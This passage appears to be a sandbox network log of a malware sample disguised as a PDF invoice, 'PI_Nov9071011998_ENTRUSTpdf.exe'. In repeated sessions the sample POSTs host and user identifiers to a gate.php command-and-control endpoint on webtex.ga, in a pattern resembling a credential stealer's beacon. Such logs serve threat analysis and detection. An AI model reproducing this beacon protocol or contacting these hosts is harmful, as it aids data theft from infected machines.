Dec 3, 2020 10:04:10.260274887 CET	4877	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:10.302791119 CET	4877	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:27 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
257	192.168.2.3	50002	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:10.507911921 CET	4878	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:10.524560928 CET	4878	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:10.569188118 CET	4878	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:27 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
258	192.168.2.3	50003	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:10.788542032 CET	4879	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:10.805351019 CET	4880	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:10.861552000 CET	4880	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:28 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
259	192.168.2.3	50004	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:11.075915098 CET	4881	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:11.092772961 CET	4881	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:11.206682920 CET	4881	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:28 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49739	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:40.172331095 CET	120	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:40.188839912 CET	123	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:40.234574080 CET	123	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:57 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
260	192.168.2.3	50005	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:11.442584038 CET	4882	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:11.459582090 CET	4882	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:11.511030912 CET	4883	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:28 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
261	192.168.2.3	50006	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:11.722306967 CET	4883	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:11.739063978 CET	4884	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:11.775321007 CET	4884	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:29 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
262	192.168.2.3	50007	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:11.992415905 CET	4885	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:12.009205103 CET	4885	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:12.055450916 CET	4885	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:29 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
263	192.168.2.3	50008	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:12.296638966 CET	4886	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:12.313354015 CET	4886	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:12.396986961 CET	4887	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:29 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
264	192.168.2.3	50009	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:12.634506941 CET	4887	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:12.652398109 CET	4888	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:12.694489002 CET	4888	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:29 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
265	192.168.2.3	50010	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:12.913599968 CET	4889	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:12.930231094 CET	4889	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:12.980752945 CET	4889	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:30 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
266	192.168.2.3	50011	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:13.192842960 CET	4890	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:13.209367990 CET	4890	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:13.277596951 CET	4891	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:30 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
267	192.168.2.3	50012	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:13.509327888 CET	4892	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:13.525840998 CET	4892	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:13.581255913 CET	4892	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:30 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
268	192.168.2.3	50013	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:13.827815056 CET	4893	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:13.844646931 CET	4893	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:13.898849010 CET	4893	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:31 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
269	192.168.2.3	50014	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:14.124274015 CET	4894	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:14.141046047 CET	4895	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:14.184983015 CET	4895	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:31 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49740	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:40.464315891 CET	128	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:40.480942011 CET	128	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:40.524907112 CET	129	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:57 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
270	192.168.2.3	50015	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:14.405318022 CET	4896	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:14.421847105 CET	4896	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:14.465338945 CET	4896	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:31 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
271	192.168.2.3	50016	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:14.692821980 CET	4897	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:14.709280014 CET	4897	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:14.751430988 CET	4898	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:31 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
272	192.168.2.3	50017	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:14.958775997 CET	4898	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:14.975238085 CET	4899	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:15.017358065 CET	4899	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:32 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
273	192.168.2.3	50018	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:15.237436056 CET	4900	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:15.257222891 CET	4900	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:15.303064108 CET	4900	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:32 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
274	192.168.2.3	50019	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:15.514678955 CET	4901	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:15.531507969 CET	4901	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:15.574409008 CET	4902	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:32 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
275	192.168.2.3	50020	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:15.796982050 CET	4903	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
